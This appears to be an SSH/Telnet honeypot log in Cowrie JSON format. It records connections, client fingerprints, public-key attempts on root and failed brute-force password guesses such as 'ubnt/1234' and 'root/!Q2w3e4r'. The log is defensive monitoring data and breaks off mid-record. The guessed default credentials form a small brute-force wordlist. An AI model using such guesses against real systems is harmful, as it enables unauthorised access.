{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:58.897048Z","src_ip":"193.46.255.86","session":"bf12a7efe77b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":48908,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f3115fd3b49","protocol":"ssh","message":"New connection: 201.77.124.248:48908 (159.203.135.109:22) [session: 5f3115fd3b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:59.181297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:59.185961Z","src_ip":"201.77.124.248","session":"5f3115fd3b49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:59.317024Z","src_ip":"201.77.124.248","session":"5f3115fd3b49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"1234","message":"login attempt [ubnt/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:59.492177Z","src_ip":"193.46.255.86","session":"bf12a7efe77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:54:59.874850Z","src_ip":"201.77.124.248","session":"5f3115fd3b49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"abcd1234","message":"login attempt [ubnt/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:00.630558Z","src_ip":"193.46.255.86","session":"bf12a7efe77b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.51","src_port":43964,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfa5839b67c4","protocol":"ssh","message":"New connection: 208.87.243.51:43964 (10.17.0.5:22) [session: cfa5839b67c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:00.787984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:00.793917Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:01.009398Z","src_ip":"201.77.124.248","session":"5f3115fd3b49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:01.509901Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"1111","message":"login attempt [ubnt/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:01.766889Z","src_ip":"193.46.255.86","session":"bf12a7efe77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"password","message":"login attempt [ubnt/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:02.909422Z","src_ip":"193.46.255.86","session":"bf12a7efe77b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:61:05:aa:59:b2:7d:c0:7f:d5:5d:fc:27:40:fd:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3FyS0Oxe+48xmMOblIPERoMfzA8T+KgP8iiY2EAutfj+bPnHyozGTD6/VgDPNtwvl79bTI8sCRZw0cSmlCwXqlHT9sVbDbHg53JRBa6xnq8mLhiHq5eIpnberYH2yeAEs8Mr+X2pu1QxuZKaTnIew38Zo3kQbkBoZK5hzg2pAJHGsvHR5wsQmEzfGqNSivRdNHL1j1dW4X8ZJAuyvJ4gzOqc2/Yw2to5yQWvUHsMIZwj7AbcbCgHX0BqNt8rGfejyX+ZbVBgvH8feBCUdU8GZ+Q2hS4eHWuuC8AcNEMZRjWyLGwkgKGPexVzSBDwE9DHKjkZyin9HXmlN20BEPopL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:61:05:aa:59:b2:7d:c0:7f:d5:5d:fc:27:40:fd:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:03.092567Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:61:05:aa:59:b2:7d:c0:7f:d5:5d:fc:27:40:fd:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3FyS0Oxe+48xmMOblIPERoMfzA8T+KgP8iiY2EAutfj+bPnHyozGTD6/VgDPNtwvl79bTI8sCRZw0cSmlCwXqlHT9sVbDbHg53JRBa6xnq8mLhiHq5eIpnberYH2yeAEs8Mr+X2pu1QxuZKaTnIew38Zo3kQbkBoZK5hzg2pAJHGsvHR5wsQmEzfGqNSivRdNHL1j1dW4X8ZJAuyvJ4gzOqc2/Yw2to5yQWvUHsMIZwj7AbcbCgHX0BqNt8rGfejyX+ZbVBgvH8feBCUdU8GZ+Q2hS4eHWuuC8AcNEMZRjWyLGwkgKGPexVzSBDwE9DHKjkZyin9HXmlN20BEPopL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:03.095921Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:d1:38:f5:8d:8b:df:cd:63:6e:5a:7c:6a:a3:89:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCRh5V9mRgtOwcQJDzIyFCs8NdNhcu4GuwSjiey/fH9fOhj/MtZ5WUFOk8j5XifV8Yni+CTotmzuFTVvZLjIdyJ3Q/FfWGCngamGN7x+962qHGd5WquXT0O7Zp4kNtabFUGyMVWbrosDr+nsJsTVKxSZFBhicRn4NHkDYi0vLkygWWN/ClSuKda1b0ZY8YT15CQJvASRQX5OqgyAnxI5+If7zznRVaCsY2dCxLEFx749wlJPZmRnjRCJOI+l3n5dWmRW0bPj01kC+eLB3NKVPD24dZVPVERog9FqzWOpyKNC2rAbkU8cEgPzeKmh3qpZcHIV1vi/fJyR8bNKQT80VFOD7O9Nx4gskxwwIpwLo5IEIqpPuXDmYCNj+KpQiBa1W8VcduXEanL7BzE80ElYtfaMR5fS/qmPeR1moa8H3p2zTewvMDIh+c6KZleFKX5lR+kYeX0mDqqtLPtLupLfrpdF974cqPPEPQs9hhWNDCAwponCWUegy5iW7MAlCv7bPc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:d1:38:f5:8d:8b:df:cd:63:6e:5a:7c:6a:a3:89:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:03.432231Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:d1:38:f5:8d:8b:df:cd:63:6e:5a:7c:6a:a3:89:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCRh5V9mRgtOwcQJDzIyFCs8NdNhcu4GuwSjiey/fH9fOhj/MtZ5WUFOk8j5XifV8Yni+CTotmzuFTVvZLjIdyJ3Q/FfWGCngamGN7x+962qHGd5WquXT0O7Zp4kNtabFUGyMVWbrosDr+nsJsTVKxSZFBhicRn4NHkDYi0vLkygWWN/ClSuKda1b0ZY8YT15CQJvASRQX5OqgyAnxI5+If7zznRVaCsY2dCxLEFx749wlJPZmRnjRCJOI+l3n5dWmRW0bPj01kC+eLB3NKVPD24dZVPVERog9FqzWOpyKNC2rAbkU8cEgPzeKmh3qpZcHIV1vi/fJyR8bNKQT80VFOD7O9Nx4gskxwwIpwLo5IEIqpPuXDmYCNj+KpQiBa1W8VcduXEanL7BzE80ElYtfaMR5fS/qmPeR1moa8H3p2zTewvMDIh+c6KZleFKX5lR+kYeX0mDqqtLPtLupLfrpdF974cqPPEPQs9hhWNDCAwponCWUegy5iW7MAlCv7bPc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:03.435958Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:95:df:36:ac:56:48:1a:e6:7f:99:72:54:b3:ce:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXgzjLfA9ZItBrAx8b64eV73S0De3WIblRwUJCoPu/CATglH3UZ2Va2yf+XEkhYz64Dx5zvQHrnhHePYB7+s1DnpXCMy6jgH1zv+t2P/rq61G0OFOwD8LcK7PjIAj6+/sFAc3VvIomP7ZrXI/cfAewHBjnIB7xIDm/rF5fqbaidsIEp9tUbQI0PrXhxEwFz03dB28WDUHHh+xLQk7McC7bxmJESdxvueoiQbk6UK+lV4kMPLl5BWGpnPJu7TbC/LNTGEvEiZyjLa8Z0pFCJ5Z2NukdqerJRZzHU64nag3IoS40seULAA9nJ6T+nVhYsxX3B8fp+wRGumpiLf8FGvdopP4Q65U8eUS4UfM0HAXnBIDrnmMMIIxyk4zMh+6sJVlr1YyjYVDt8bkzkl5r24DcCYgyqYoQmp1feAv3ucHku9GhrdGFtaacOZVampT6s1JLBXZMNn9LR2VIn5G0xIZH79qxHd3iLm6vXj8Jfz8yQPCt3ygNZ1stKazstX6TDjSX1DPjh0XeYm+l3m+luJ6sgMPf4dhXMcntuKnzZoIitCeUhofaNZpiSB+egAorcsQM68kmgR7t41aDwuqbBzEmXmNFkiqB8TGwFi+c6QvcVFZowyB0Y8AdN42Tax1DklzLRDLwn86XeIGaz2BLKnLc03ZPOJGP+2zhqtfi4IWFaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:95:df:36:ac:56:48:1a:e6:7f:99:72:54:b3:ce:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:03.750709Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:95:df:36:ac:56:48:1a:e6:7f:99:72:54:b3:ce:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXgzjLfA9ZItBrAx8b64eV73S0De3WIblRwUJCoPu/CATglH3UZ2Va2yf+XEkhYz64Dx5zvQHrnhHePYB7+s1DnpXCMy6jgH1zv+t2P/rq61G0OFOwD8LcK7PjIAj6+/sFAc3VvIomP7ZrXI/cfAewHBjnIB7xIDm/rF5fqbaidsIEp9tUbQI0PrXhxEwFz03dB28WDUHHh+xLQk7McC7bxmJESdxvueoiQbk6UK+lV4kMPLl5BWGpnPJu7TbC/LNTGEvEiZyjLa8Z0pFCJ5Z2NukdqerJRZzHU64nag3IoS40seULAA9nJ6T+nVhYsxX3B8fp+wRGumpiLf8FGvdopP4Q65U8eUS4UfM0HAXnBIDrnmMMIIxyk4zMh+6sJVlr1YyjYVDt8bkzkl5r24DcCYgyqYoQmp1feAv3ucHku9GhrdGFtaacOZVampT6s1JLBXZMNn9LR2VIn5G0xIZH79qxHd3iLm6vXj8Jfz8yQPCt3ygNZ1stKazstX6TDjSX1DPjh0XeYm+l3m+luJ6sgMPf4dhXMcntuKnzZoIitCeUhofaNZpiSB+egAorcsQM68kmgR7t41aDwuqbBzEmXmNFkiqB8TGwFi+c6QvcVFZowyB0Y8AdN42Tax1DklzLRDLwn86XeIGaz2BLKnLc03ZPOJGP+2zhqtfi4IWFaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:03.755266Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt123","message":"login attempt [ubnt/ubnt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:04.047878Z","src_ip":"193.46.255.86","session":"bf12a7efe77b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:a5:22:c9:0f:4e:e0:65:91:5f:da:72:67:75:6d:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDW4SB+dB4Tlaeg1/PILxHJwnDI25fKCJgrUY1echHn62LYrDgYw/CbLhlPS2tCXBIc1WSNsdXxpRx7kNSlvYb38eGEzpWroCuuccrQ8wOUWTCFxuNCXN/TkGewlOw2pNkt4vlmC7o8W2l03/NCNP7TX7oCOvY57KBwhkOI3U0HU/p9Gk630C1JuHByd3ed5LLhlufvQ8b0N7466UZZVCR99RtaNHN05wCUrVa4WaQg7F92IPtXkZCcDuz+1DhdGdAbu7URKcKlK67D/R10ze5ZwcDxkXujFRJgbfxmJgByQnVOlAmOiRfiPaJ97t/ZW0ChwEPntlQPyQukLpjfYyyok+rltINxWctljk8lEPoP8swCCdHnZo7dWswv8VrPEM4Akq7JvswLwN+EcC71pR5qHwpMG6p927kl6O3VXpSf5ysBr631WFuVkjgvv0YzYauXYC3imtd1L4Uipjl/A/kb7SOlw90scWJztNF9RG55xdELF4Pt1RA3bjtz/ElBCvjfXe6GTBTcyxcDq/bjf9HMEELoLcP2I6Lks7cz2MPNNMUDs+97qbBnRUwdmcxxM4Q7a0kqYwlcUZaO2HNSV4iaMDcEwFa/tzaYbkqZ7TbgOPpeu2QAAKNtjl6Y7hh0J29cxRhfb4MUaGJrV4oC7z0v4DcBAfcLyTi7tw+/dk4Cnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:a5:22:c9:0f:4e:e0:65:91:5f:da:72:67:75:6d:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:04.075378Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:a5:22:c9:0f:4e:e0:65:91:5f:da:72:67:75:6d:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDW4SB+dB4Tlaeg1/PILxHJwnDI25fKCJgrUY1echHn62LYrDgYw/CbLhlPS2tCXBIc1WSNsdXxpRx7kNSlvYb38eGEzpWroCuuccrQ8wOUWTCFxuNCXN/TkGewlOw2pNkt4vlmC7o8W2l03/NCNP7TX7oCOvY57KBwhkOI3U0HU/p9Gk630C1JuHByd3ed5LLhlufvQ8b0N7466UZZVCR99RtaNHN05wCUrVa4WaQg7F92IPtXkZCcDuz+1DhdGdAbu7URKcKlK67D/R10ze5ZwcDxkXujFRJgbfxmJgByQnVOlAmOiRfiPaJ97t/ZW0ChwEPntlQPyQukLpjfYyyok+rltINxWctljk8lEPoP8swCCdHnZo7dWswv8VrPEM4Akq7JvswLwN+EcC71pR5qHwpMG6p927kl6O3VXpSf5ysBr631WFuVkjgvv0YzYauXYC3imtd1L4Uipjl/A/kb7SOlw90scWJztNF9RG55xdELF4Pt1RA3bjtz/ElBCvjfXe6GTBTcyxcDq/bjf9HMEELoLcP2I6Lks7cz2MPNNMUDs+97qbBnRUwdmcxxM4Q7a0kqYwlcUZaO2HNSV4iaMDcEwFa/tzaYbkqZ7TbgOPpeu2QAAKNtjl6Y7hh0J29cxRhfb4MUaGJrV4oC7z0v4DcBAfcLyTi7tw+/dk4Cnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:04.078689Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:d5:12:20:0e:12:68:24:22:c4:ee:ee:b2:15:a5:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXWo1ZBeQWcGLAacgB/EFVJWaup5MlNGzkcRMJonzDp30Wk8/qSNrDzNhhhbTld6r0KLYqhlYO5CJ0H8+cknO491FnS2fGTn2XANOgLVxRtD31rPcSrzscEYw/NL8CyifnARFwOhjB7CMNFj0/SBLM9XRr0XI2+/m58v3PNcnlQB1HJpv1P54uFCfbDklbo9ojuZnQNxxicKLs6cEbFdPwD4U2a1iZ1wpzXuxd3nh8PDNecU8+qbkOs6gadj5krNvshWOmI67reL5h4ycKHHyyUVOraMD0DjS/Ig4L91Whi3axThHo3ag5sNG0kEUztAb0NXO6yEkAZUNftIRVkawgiXqIqvRCP+uxmH+Sr/OmBrNFfXeAv22RTBZ6AQmkobLRUDcRNpW7Q79QXJm0aGRZho5PlwOJ7hMK1lhXhO/JTLOn/7h/a6tts7qbo/oq45KF4XmTY4XPBOIZrE0Xi15Bknfa/Srbl0FfeLsw3ts2d1uDNYReBbcKPfH8b2c+LCCeBTpqvpU461LNvw0q3odUlHLaMyDCcBQPxKV1wIaI3ON7G+VoGdxDeZyE+OOfInMbo63TXfwSYReQWrXnSDX8A3zIdYwRrwBo3lymxd+HcWL346ioVeepYGeTUb/pVJxYNzcAUy4OcQjxS3LusunpFFpB9xOr9soHu+j567UzVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:d5:12:20:0e:12:68:24:22:c4:ee:ee:b2:15:a5:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:04.965411Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:d5:12:20:0e:12:68:24:22:c4:ee:ee:b2:15:a5:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXWo1ZBeQWcGLAacgB/EFVJWaup5MlNGzkcRMJonzDp30Wk8/qSNrDzNhhhbTld6r0KLYqhlYO5CJ0H8+cknO491FnS2fGTn2XANOgLVxRtD31rPcSrzscEYw/NL8CyifnARFwOhjB7CMNFj0/SBLM9XRr0XI2+/m58v3PNcnlQB1HJpv1P54uFCfbDklbo9ojuZnQNxxicKLs6cEbFdPwD4U2a1iZ1wpzXuxd3nh8PDNecU8+qbkOs6gadj5krNvshWOmI67reL5h4ycKHHyyUVOraMD0DjS/Ig4L91Whi3axThHo3ag5sNG0kEUztAb0NXO6yEkAZUNftIRVkawgiXqIqvRCP+uxmH+Sr/OmBrNFfXeAv22RTBZ6AQmkobLRUDcRNpW7Q79QXJm0aGRZho5PlwOJ7hMK1lhXhO/JTLOn/7h/a6tts7qbo/oq45KF4XmTY4XPBOIZrE0Xi15Bknfa/Srbl0FfeLsw3ts2d1uDNYReBbcKPfH8b2c+LCCeBTpqvpU461LNvw0q3odUlHLaMyDCcBQPxKV1wIaI3ON7G+VoGdxDeZyE+OOfInMbo63TXfwSYReQWrXnSDX8A3zIdYwRrwBo3lymxd+HcWL346ioVeepYGeTUb/pVJxYNzcAUy4OcQjxS3LusunpFFpB9xOr9soHu+j567UzVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:04.971917Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:05.195410Z","src_ip":"193.46.255.86","session":"bf12a7efe77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:05.301053Z","src_ip":"208.87.243.51","session":"cfa5839b67c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.93951988220215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:15.204112Z","src_ip":"50.6.8.71","session":"1d94bf6b0477","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":34746,"dst_ip":"159.203.135.109","dst_port":22,"session":"90f6860dc164","protocol":"ssh","message":"New connection: 103.15.222.183:34746 (159.203.135.109:22) [session: 90f6860dc164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:27.860169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:55:27.865019Z","src_ip":"103.15.222.183","session":"90f6860dc164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v0